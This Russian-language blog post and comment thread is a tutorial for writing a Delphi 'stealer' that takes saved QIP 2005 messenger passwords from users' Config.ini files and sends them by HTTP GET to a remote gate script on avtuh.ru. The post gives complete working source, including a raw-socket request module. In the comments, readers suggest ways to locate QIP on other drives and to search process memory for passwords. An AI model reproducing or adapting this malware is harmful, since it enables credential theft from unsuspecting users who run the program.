Пишем stealer для кражи паролей QIP
Сейчас я покажу, как своими силами написать стилер (от англ. stealer – Вор) на Delphi, который будет воровать сохраненные пароли QIP и отсылать их на гейт для записи в файл на сервере. Работает всё это с помощью сокетов Delphi (абсолютно работоспособно на Delphi 2010)
Сразу хочу сказать, что пример обладает минимальным функционалом (дабы не загружать рассказ лишним кодом) и крадет пароли только от QIP 2005, который установлен по адресу C:\Program Files\QIP\. Ну и конечно хотелось сохранить минимальный размер полученной программы. Хотя если это не критично, то в программу можно добавить модуль Registry для определения точного расположения папки установки QIP, а также модуль для дешифровки пароля прямо в программе (ибо программа отсылает не расшифрованные пароли, а значения полей Custom1 и Custom2, которые легко расшифровать самому)
Итак, приступим. Конечно же программе для работы не требуется форма, так что создаем консольное приложение (Console Application).
В Uses прописываем библиотеки, которые нам понадобятся:
uses winsock, windows, SysUtils, SocketRequest in 'SocketRequest.pas';
Библиотека SocketRequest самописная, понадобится для отсылки найденных паролей на гейт. О ней в конце.
Заполняем раздел var:
var sr:TSearchRec; s,s2:string; i:integer; f:text;
Сам код программы:
if FindFirst('c:\Program Files\QIP\Users\'+'*.*',faDirectory,sr)=0 then
repeat
s:=SR.Name;
if trystrtoint(s, i) then
begin
if FileExists('c:\Program Files\QIP\Users\'+s+'\Config.ini') then
begin
assign(f,'c:\Program Files\QIP\Users\'+s+'\Config.ini');
reset(f);
while not(eof(f)) do
begin
readln(f,s2);
if (Pos('Custom1',s2)<>0) and (Length(s2)=72) then
socketget('http://avtuh.ru/file.php?recieve='+s+':'+s2)
else
if (Pos('Custom2',s2)<>0) and (Length(s2)=96) then
socketget('http://avtuh.ru/file.php?recieve='+s+':'+s2);
end;
close(f);
end;
end;
until Findnext(sr)<>0;
FindClose(sr);
Немного разберем.
FindFirst(‘c:\Program Files\QIP\Users\’+'*.*’,faDirectory,sr)=0
Ищем в папке Users все подпапки и файлы. Нам нужны папки, которые называются цифрами.
if trystrtoint(s, i) then
Если имя папки можно преобразовать в число (именно такие нам и нужны), то смотрим, существует ли в этой папке файл Config.ini
if FileExists(‘c:\Program Files\QIP\Users\’+s+’\Config.ini’) then
Если файл Config.ini имеется, то открываем его и считываем строки. Если найдена строка Custom1 или Custom2 (не пустые!), то вызываем функцию socketget из модуля SocketRequest:
socketget('http://avtuh.ru/file.php?recieve='+s+':'+s2)
В качестве параметра передаем ей адрес гейта и параметры (значения Custom).
Гейт представляет собой файл file.php:
Этот скрипт записывает в файл file.log (который должен находится в той же папке на сервере) текст, который приходит в параметре recieve.
Код основной программы закончен. Только в конце я добавил еще вывод на экран слово “OK” и чтение из консоли, чтобы увидеть, что программа успешно отработала (в непосредственно готовом стилере это конечно не нужно):
writeln('OK');
readln;

Теперь о модуле SocketRequest. Расскажу поверхностно)
Использует библиотеки winsock, Windows, которые уже используются в нашем стилере, так что на размер программы не повлияют.
Также в него из библиотеки SysUtils взял функцию IntToStr и процедуру CvtInt для нее, дабы мой модуль от нее не зависел.
Этапы работы функции socketget из модуля заключаются в следующем:
- получает в переменную url адрес запроса
- в переменную Host копируем адрес сервера (в нашем случае это avtuh.ru)
- в переменную Address копируем адрес гейта и параметры (в нашем случае это /file.php?recieve=’+s+’:'+s2)
- получаем IP сервера по его адресу
getaddrinfo(PansiChar(Host), nil, @aiHints, aiRes)=0
- делаем запрос, используя IP сервера
Вот полный код:
unit SocketRequest;
interface
uses
winsock, Windows;
function socketget(url:ansistring) :ansistring;
implementation
type
paddrinfo = ^addrinfo;
addrinfo = packed record
ai_flags, ai_family, ai_sockettype, ai_protocol: integer;
ai_addrlen: integer;
ai_canonname: pansichar;
ai_addr: psockaddr;
ai_next: paddrinfo;
end;
function getaddrinfo(nodename, servname: PansiChar; hints: paddrinfo; var res: paddrinfo): integer;
stdcall; external 'ws2_32.dll';
var
aiHints: addrinfo;
aiRes: paddrinfo;
procedure CvtInt;
asm
OR CL,CL
JNZ @CvtLoop
@C1: OR EAX,EAX
JNS @C2
NEG EAX
CALL @C2
MOV AL,'-'
INC ECX
DEC ESI
MOV [ESI],AL
RET
@C2: MOV ECX,10
@CvtLoop:
PUSH EDX
PUSH ESI
@D1: XOR EDX,EDX
DIV ECX
DEC ESI
ADD DL,'0'
CMP DL,'0'+10
JB @D2
ADD DL,('A'-'0')-10
@D2: MOV [ESI],DL
OR EAX,EAX
JNE @D1
POP ECX
POP EDX
SUB ECX,ESI
SUB EDX,ECX
JBE @D5
ADD ECX,EDX
MOV AL,'0'
SUB ESI,EDX
JMP @z
@zloop: MOV [ESI+EDX],AL
@z: DEC EDX
JNZ @zloop
MOV [ESI],AL
@D5:
end;
function IntToStr(Value: Integer): string;
asm
PUSH ESI
MOV ESI, ESP
SUB ESP, 16
XOR ECX, ECX // base: 0 for signed decimal
PUSH EDX // result ptr
XOR EDX, EDX // zero filled field width: 0 for no leading zeros
CALL CvtInt
MOV EDX, ESI
POP EAX // result ptr
{$IF DEFINED(Unicode)}
CALL System.@UStrFromPCharLen
{$ELSE}
PUSH DefaultSystemCodePage
CALL System.@LStrFromPCharLen
{$IFEND}
ADD ESP, 16
POP ESI
end;
function socketget(url:ansistring) :ansistring;
var
WSAData1:TWSAData;
Socket1:TSocket;
SockAddr1:TSockAddr;
Host, Address, IP:ansistring;
Buffer1, s:ansistring;
Buffer2:array[1..1024] of ansichar;
d,i:integer;
begin
if WSAStartup(MAKEWORD(2,2), WSAData1)<>0 then
begin
Result:='Error';
Exit;
end;
Socket1:=Socket(AF_INET,SOCK_STREAM,0);
if Socket1=INVALID_SOCKET then
begin
Result:='Error';
Exit;
end;
FillChar(aiHints, sizeOf(aiHints), 0);
aiHints.ai_family:=AF_INET;
aiHints.ai_sockettype:=SOCK_STREAM;
aiHints.ai_protocol:=IPPROTO_TCP;
Host:=Copy(Url, 8, Length(Url));
Address:='';
if Pos('/', Host)<>0 then
begin
Address:=Copy(Host, Pos('/', Host), Length(Host));
Host:=Copy(Host, 1, Pos('/', Host)-1);
end;
if getaddrinfo(PansiChar(Host), nil, @aiHints, aiRes)=0 then
IP:=(inttostr(ord(aiRes.ai_addr.sin_addr.S_un_b.s_b1))+'.'+
inttostr(ord(aiRes.ai_addr.sin_addr.S_un_b.s_b2))+'.'+
inttostr(ord(aiRes.ai_addr.sin_addr.S_un_b.s_b3))+'.'+
inttostr(ord(aiRes.ai_addr.sin_addr.S_un_b.s_b4)))
else
begin
Result:='Error';
Exit;
end;
SockAddr1.sin_family:=AF_INET;
SockAddr1.sin_addr.S_addr:=inet_addr(PansiChar(IP));
SockAddr1.sin_port:=htons(80);
if Connect(Socket1,SockAddr1,SizeOf(SockAddr1))<>0 then begin
Result:='Error';
exit;
end;
Buffer1:='GET '+Address+' HTTP/1.1'#13#10+
'Host: '+Host+#13#10+
'Connection: close'#13#10+
#13#10;
if send(Socket1,Buffer1[1],Length(Buffer1),0)=SOCKET_ERROR then begin
Result:='Error';
exit;
end;
s:='';
repeat
FillChar(Buffer2,SizeOf(Buffer2),0);
d:=recv(Socket1,Buffer2,SizeOf(Buffer2),0);
for i:=1 to d do s:=s+(Buffer2[i]);
until d<=0;
Result:=s;
if CloseSocket(Socket1)<>0 then
Result:='Error';
end;
end.
Результатом функции будет ответ сервера (обычно заголовки и то, что выдает гейт). В основной программе результат функции никак не отслеживается, ибо нам не интересно знать результат запроса. Хотя при какой-нибудь ошибке его по желанию можно повторить пару раз))
В итоге получили файл весом 90 Кб.

И отчет на сервере:

Все значения Custom можно расшифровать с помощью DeCrypt ICQ (в Custom2 хранится пароль, в Custom1 хранится его md5-хэш).
© Zdez Bil Ya Avtuh.ru
Похожие записи из категории Статьи
Метки: delphi, QIP, stealer, winsock, исходник, пароль icq, пароль qip, сокеты, стилер Рубрика: Статьи

для чтения параметров из файла Config.ini проще использовать айпишную функцию: GetPrivateProfileString это первое, второе для поиска лучше использовать функции из модуля Windows (FindFirstFile…) вместо FindFirst, отказаться от использования модуля SysUtils – это третье.
В итоге получили файл весом не 90 Кб, а всего в 14-19 кило в зависимости от версии используемой Delphi
Zdez Bil Ya Reply:
сентября 15, 2010 at 17:01
Вы не поверите, 90 кб или 20 кб, значения вообще не имеет. Ни один человек не увидит разницу в размере файла, если она будет составлять даже сотни килобайт. А те, кто заметит, никогда не будет скачивать файлы с неизвестных источников и на стилер не попадется
Привет!
Вот смотри, у меня система стоит на диске E:, и это всё у меня работать не будет (да, на диске C: другая винда, но есть ли там квип, и те ли учётки?). Конечно, на конверт это мало повлияет, но путь к qip я брал из реестра – http://parsers.info/2009/04/poluchenie-puti-k-qip/
А дальше уже от него и плясать
PS Давно я не заходил, как блог изменился
PPS Поставь плагин подписки на комменты, будет удобней
Zdez Bil Ya Reply:
сентября 20, 2010 at 22:42
Да, для точности можно брать путь к QIP из реестра, но вот тот код у меня не работает (Count=0 и бесконечный цикл) )) Может если поколдовать, то и получится, но в том разделе реестра у меня вот ничего нет про QIP )) Так что и тут придется перебирать несколько разделов. Так же и папки на разных дисках можно поперебирать ))
Использовать абсолютные пути это не совсем правильно, да можно конечно получать путь из реестра, но там он есть только в том случае, если qip ставился нормально – инсталлятором, а не копировался откуда либо. Найти qip можно несколькими путями:
1: реестр
2: сканировать все разделы HDD (не вариант, т.к. долго очень)
3: По заголовком окон (при запущенном QIP)
4: По ярлычкам…
Zdez Bil Ya, спасибо за замечание, пересмотрю свой код.
> 3: По заголовком окон (при запущенном QIP)
мб по процессам, смотреть адрес? не очень понял, как по заголовкам
По процессам не очень удобно, потому как имя процесса не обязательно может быть qip.ехе, его просто изменить, и оно используется в шифровании паролей qip.
По заголовкам окно искать проще (класс и заголовок изменить куда сложнее, придется отключать проверку целостности qip), ищем класс главного окна с помощью FindWindow для точности проверяем заголовок на содержание текста ‘qip’, если находим, то по хэндлу окна получаем указатель процесса родителя (PID), зная PID можно получить как путь до ехе так и ‘порыскать’ в памяти на предмет паролей, хотя не знаю в последних билдах может и убран этот косяк.
Спасибо, понял, хороший вариант, тоже через процесс
Zdez Bil Ya, сделай подписку на комменты)
Zdez Bil Ya Reply:
сентября 22, 2010 at 23:59
Подписка есть) У меня в Опере по клике в адресной строке можно выбрать легко. Здесь например ссылка: http://avtuh.ru/2010/08/26/stealer-qip.html/feed
Это вижу, я про на почту)
Такой вариант!!!
// найдём папку Program Files, а дальше всё как по маслу…..
…….
function sysdir: string;
var
f:array[0..255]of char;
begin
ExpandEnvironmentStrings(‘%ProgramFiles%’,f,255);
Result := f;
end;
begin
if FindFirst(sysdir+’\QIP\Users\’+'*.*’,faDirectory,sr)=0 then
repeat
s:=SR.Name;
if trystrtoint(s, i) then
begin
if FileExists(sysdir+’\QIP\Users\’+s+’\Config.ini’) then
begin
assign(f, sysdir+’\QIP\Users\’+s+’\Config.ini’);
reset(f);
while not(eof(f)) do
begin
readln(f,s2);
if (Pos(‘Custom1′,s2)0) and (Length(s2)=72) then
writeln(s + ‘ ‘ + s2)
else
if (Pos(‘Custom2′,s2)0) and (Length(s2)=96) then
writeln(s + ‘ ‘ + s2)
end;
close(f);
end;
end;
until Findnext(sr)0;
//FindClose(sr);
readln;
end.
zjlrpkcu